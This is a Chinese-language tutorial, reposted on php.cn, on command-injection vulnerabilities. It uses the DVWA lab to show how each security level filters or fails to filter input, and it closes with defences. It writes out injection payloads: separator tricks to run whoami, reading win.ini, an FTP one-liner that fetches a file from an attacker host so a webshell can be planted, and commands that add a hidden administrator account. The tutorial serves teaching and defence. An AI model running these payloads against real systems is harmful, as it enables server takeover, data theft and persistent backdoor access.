0

0

【命令执行】命令执行漏洞总结v1.0

蓮花仙者

蓮花仙者

发布时间:2025-09-26 09:20:01

|

867人浏览过

|

来源于php中文网

原创

你好,各位小伙伴们,晚上好!我是你们的小编~

最近网络安全的话题真是热得不得了,连电视剧都开始蹭热度了。不知道大家有没有从中学到一些小技巧呢?

今天我们要聊的是命令执行漏洞的基础知识,一起来学习一下吧~

Part.1

什么是命令执行漏洞?

漏洞概述

在Web程序中,由于业务需求需要通过前端传递参数到后台服务器上执行命令。但如果开发人员没有对输入进行严格的过滤,攻击者就能构造一些带有非法目的的命令,欺骗后台服务器执行这些命令。

如果Web应用运行在root权限下,命令执行漏洞可能会导致攻击者在服务器上执行任意命令。

以DVWA平台的low安全等级为例,我们来看看这个漏洞的具体成因。漏洞页面如下:

【命令执行】命令执行漏洞总结v1.0输入IP地址并点击Submit,ping命令就会被执行:

【命令执行】命令执行漏洞总结v1.0查看后端代码:

【命令执行】命令执行漏洞总结v1.0首先通过php_uname('s')读取操作系统名,并与'Windows NT'对比以判断是否为Windows系统。

如果是Windows系统,则通过shell_exec()函数执行ping命令。

如果不是,则判断为Linux系统,执行ping -c 4命令。(因为Linux系统如果不指定发包数,ping会一直持续)

可以看到,这里没有对输入的'ip'参数进行任何过滤,因此存在命令执行漏洞。

在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig,结果如下:

【命令执行】命令执行漏洞总结v1.0ipconfig也被执行了,并且成功返回结果。

这就是一个简单的命令执行漏洞,如果web应用为root权限,我们还可以执行创建用户等各类操作。

常见的连接符

除了上面的&符,还有其他连接符,如下。

"|":前面命令的输出结果作为后面命令的输入内容;输入8.8.8.8|whoami:

【命令执行】命令执行漏洞总结v1.0"||":前面命令执行失败时才执行后面的命令;输入8.8.8.8||whoami:

【命令执行】命令执行漏洞总结v1.0"&":前面命令执行后接着执行后面的命令;

输入错误地址192.1.1.1&whoami:

【命令执行】命令执行漏洞总结v1.0"&&":前面命令执行成功时才执行后面的命令;

输入错误地址192.1.1.1&&whoami:

【命令执行】命令执行漏洞总结v1.0此外,Linux系统还可以使用";"号进行连接。

常用的命令执行函数

以PHP为例,常用的命令执行函数包括system、exec、shell_exec、passthru。

区别如下:

system:成功执行返回结果的最后一行,否则返回FALSEexec:成功执行返回结果的最后一行shell_exec:成功执行返回全部结果,否则返回NULLpassthru:把命令的运行结果原样地直接输出到标准输出设备接下来我们来看看DVWA平台,其他安全等级是如何防护和绕过的。

Part.2

漏洞的分析

Medium等级

后端代码:

【命令执行】命令执行漏洞总结v1.0Medium等级新增了str_replace()函数,将输入中的&&和;号替换为空。

但我们仍可以使用&、|、||等符号。

输入8.8.8.8&whoami绕过:

【命令执行】命令执行漏洞总结v1.0可以看到,这里采用了黑名单过滤的防护方式。

【命令执行】命令执行漏洞总结v1.0High等级

部分后端代码:

阶跃星辰开放平台
阶跃星辰开放平台

阶跃星辰旗下开放平台,提供文本大模型、多模态大模型、繁星计划

下载

【命令执行】命令执行漏洞总结v1.0可以看到high等级过滤得更多了,但还是可以绕过,这里'| '里有个空格。

输入8.8.8.8|whoami,成功执行:

【命令执行】命令执行漏洞总结v1.0(强行留后门???)

Impossible等级

后端代码如下:

【命令执行】命令执行漏洞总结v1.0首先通过stripslashes()函数删除输入中的反斜杠。

然后通过explode()函数,以逗号为分隔符,对输入的内容进行分隔。

最后,使用is_numeric()函数,逐一检查分隔出的每一部分是不是数字。并且使用sizeof()函数判断分隔出来的内容是不是4部分,以此来判断用户输入的是不是IP。

白名单过滤,只有“数字.数字.数字.数字”类型的输入才会被执行,因此不存在命令执行漏洞了。

Part.3

漏洞的利用示例

读取指定目录内容

例如读取目录C:\windows\

输入8.8.8.8|dir C:\windows\

【命令执行】命令执行漏洞总结v1.0查看页面源代码:

【命令执行】命令执行漏洞总结v1.0读取指定文件内容

例如C:\windows\win.ini

输入8.8.8.8|type C:\windows\win.ini

查看网页源代码:

【命令执行】命令执行漏洞总结v1.0文件上传

在攻击者本地写一个php脚本,例如phpinfo.php,开启FTP服务。

输入8.8.8.8|echo open 192.168.211.1 > o&echo get phpinfo.php >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o

成功下载到服务器,如下:

【命令执行】命令执行漏洞总结v1.0尝试访问phpinfo.php,成功:

【命令执行】命令执行漏洞总结v1.0同理可上传webshell。

其他还包括创建管理员等操作,这里就不一一演示了:

127.0.0.1 | net user test 123 /add

127.0.0.1 | net localgroup administrators test /add

Part.4

漏洞的防御

漏洞的防御

1、对传入的命令进行严格的过滤

2、在后台对应用的权限进行控制,即使有漏洞,也不能执行高权限命令。

3、使用安全函数对输入转义

EscapeShellCmd()函数

【命令执行】命令执行漏洞总结v1.0EscapeShellArg()函数

【命令执行】命令执行漏洞总结v1.0Part.5

结束语

好啦,

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

WorkBuddy
WorkBuddy

腾讯云推出的AI原生桌面智能体工作台

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

1564

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1173

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

840

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

464

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2364

2023.08.08

windows自动更新
windows自动更新

Windows操作系统的自动更新功能可以确保系统及时获取最新的补丁和安全更新,以提高系统的稳定性和安全性。然而,有时候我们可能希望暂时或永久地关闭Windows的自动更新功能。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

875

2023.08.10

windows boot manager
windows boot manager

windows boot manager无法开机的解决方法:1、系统文件损坏,使用Windows安装光盘或USB启动盘进入恢复环境,选择修复计算机,然后选择自动修复;2、引导顺序错误,进入恢复环境,选择命令提示符,输入命令"bootrec /fixboot"和"bootrec /fixmbr",然后重新启动计算机;3、硬件问题,使用硬盘检测工具进行扫描和修复;4、重装操作系统。本专题还提供其他解决

1997

2023.08.28

windows锁屏快捷键
windows锁屏快捷键

windows锁屏快捷键是Windows键+L、Ctrl+Alt+Del、Windows键+D、Windows键+P和Windows键+R。本专题为大家提供windows相关的文章、下载、课程内容,供大家免费下载体验。

1675

2023.08.30

Go Web框架Gin接口开发与中间件设计实践
Go Web框架Gin接口开发与中间件设计实践

本专题围绕 Go 在 Web 后端开发中的主流框架 Gin 展开,系统讲解高性能接口开发与中间件机制设计。内容涵盖路由分组、请求绑定、参数校验、统一响应封装、日志与鉴权中间件实现,以及接口限流与异常处理策略。通过实战项目案例,帮助开发者构建结构清晰、性能优良的 Go Web 服务体系,提升接口开发效率与系统可维护性。

7

2026.03.19

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 7.1万人学习

PHP自制框架
PHP自制框架

共8课时 | 0.6万人学习

简单聊聊mysql8与网络通信
简单聊聊mysql8与网络通信

共1课时 | 861人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号